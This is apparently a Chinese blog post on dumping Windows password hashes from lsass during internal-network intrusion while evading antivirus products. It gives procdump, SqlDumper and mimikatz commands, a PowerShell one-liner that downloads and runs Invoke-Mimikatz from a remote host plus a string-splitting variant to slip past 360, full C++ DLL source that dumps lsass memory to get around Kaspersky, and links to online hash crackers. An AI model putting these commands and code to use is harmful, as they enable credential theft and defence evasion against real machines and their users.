內(nèi)網(wǎng)滲透-免殺抓取windows hash

前言

內(nèi)網(wǎng)滲透時,獲得主機(jī)管理員權(quán)限后,通常會抓取用戶的明文密碼或hash,進(jìn)行pth攻擊。
大部分情況會遇到防護(hù)軟件,常規(guī)抓取方法失效,因此需要對防護(hù)進(jìn)行繞過。

Procdump.exe

Procdump是微軟官方發(fā)布的工具,使用該工具可以把lsass的內(nèi)存dump下來,可以繞過大多數(shù)的防護(hù)軟件。
首先使用procdump.exe把進(jìn)程lsass.exe 的內(nèi)存dump下來

procdump.exe -accepteula -ma lsass.exe lsass.dmp 

實戰(zhàn)中把 lsass.dmp 下載下來,在相同版本的操作系統(tǒng)使用mimikatz讀取密碼hash。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 

SqlDumper.exe

SqlDumper也屬于微軟出品,存在于SQL Server文件夾中,大多數(shù)殺軟不會攔截。
默認(rèn)存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
如果目標(biāo)機(jī)器沒有安裝SQL Server,可以自己上傳SqlDumper.exe。

tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID號
Sqldumper.exe ProcessID 0 0x01100  導(dǎo)出mdmp文件

實戰(zhàn)中下把生成的mdmp文件下載到本地,使用相同的操作系統(tǒng)打開。

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

可過360,無法過卡巴斯基。


powershell免殺

結(jié)合powershell的免殺,加載Invoke-Mimikatz.ps1腳本獲取密碼hash。
使用命令遠(yuǎn)程加載ps1腳本。

powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

會被360攔截,繞過方法很多,這里可以使用分割繞過。

powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"

無法繞過卡巴斯基。


繞過卡巴斯基抓取lsass中密碼

卡巴斯基對lsass.exe防護(hù)相當(dāng)變態(tài),上面的幾種方法都無法繞過卡巴斯基。
使用國外大佬XPN使用RPC控制lsass加載SSP的代碼,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
將三個文件下載到本地,使用visual studio進(jìn)行編譯,需要修改了幾個地方。
(1)添加如下代碼

#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib庫文件)

(2)將.c文件后綴改成.cpp (使用了c++代碼,需要更改后綴)
(3) 編譯時選擇x64 (XPN大佬提供的是64位代碼)
編譯代碼得到.exe文件。
然后用生成的exe,加載dump內(nèi)存的dll文件,這里使用的是奇安信A-team團(tuán)隊公布的源碼,并在基礎(chǔ)上,增加了自動獲取lsass的PID號功能,無需每次使用重復(fù)編譯。
dll源碼如下:

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>  
#include <map>  
#include <TlHelp32.h> 

#pragma comment(lib,"Dbghelp.lib")
using namespace std;

int FindPID()
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot Error!" << endl;;
        return false;
    }

    BOOL bResult = Process32First(hProcessSnap, &pe32);

    while (bResult)
    {
        if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
        {
            return pe32.th32ProcessID;
        }
        bResult = Process32Next(hProcessSnap, &pe32);
    }

    CloseHandle(hProcessSnap);

    return -1;
}

typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable,
    BOOL CurrentThread, PULONG Enabled);

int dump() {

    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW = (_MiniDumpW)GetProcAddress(
        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if (MiniDumpW == NULL) {

        return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    wchar_t  ws[100];
    swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full"); 

    MiniDumpW(0, 0, ws);
    return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        dump();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在測試機(jī)中安裝卡巴斯基進(jìn)行測試,使用Procdump會被攔截。


把編譯好的文件exe和dll放在同一目錄下。



使用管理員權(quán)限運(yùn)行exe,加載dll文件。
存在三個需要注意的點(diǎn):
1、調(diào)用dll文件要是完整的絕對路徑
2、文件要放在英文路徑下
3、在win7下測試只能執(zhí)行一次,第二次執(zhí)行電腦會重啟,其它系統(tǒng)未測試。



成功繞過防護(hù)生成了1.bin文件。
實戰(zhàn)中把生成的文件下載到本地,然后在版本相同的操作系統(tǒng)使用mimikatz讀取。
mimikatz# sekurlsa::minidump 1.bin
mimikatz# sekurlsa::loginpasswords full

成功讀取到密碼hash。


在線破解hash
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php

參考鏈接

http://www.itdecent.cn/p/7ccf6e15fbe0
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://blog.csdn.net/xiangshen1990/article/details/104872566
https://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 前言 最近在看ms08067出版的《內(nèi)網(wǎng)滲透測試基礎(chǔ)》,總結(jié)的還是挺好的。這里把windows抓取hash的一些方...
    CSeroad閱讀 4,872評論 0 6
  • 命令簡介 cmd是command的縮寫.即命令行 。 雖然隨著計算機(jī)產(chǎn)業(yè)的發(fā)展,Windows 操作系統(tǒng)的應(yīng)用越來...
    Littleston閱讀 3,437評論 0 12
  • 1、前言 前不久進(jìn)行了一次釣魚,對方電腦是win7系統(tǒng),加上有殺軟,最后因為電腦關(guān)機(jī),失去了權(quán)限。整理下從木馬上線...
    諾言iii閱讀 5,839評論 6 53
  • 假如你來上海 我不會帶你去冰冷而擁擠的外灘 我會帶你走進(jìn)巷子聞聞熾熱的煙火氣 在街尾吃一碗小餛飩 假如你來上海 我...
    不在樓上閱讀 227評論 2 2
  • 記得小時候 您騎著自行車載著我 唱著歌 您在前頭 我在后頭 后來上學(xué)了 您披著雨衣送我上課 風(fēng)雨中 您在外頭 我在...
    王濕人閱讀 190評論 0 0

友情鏈接更多精彩內(nèi)容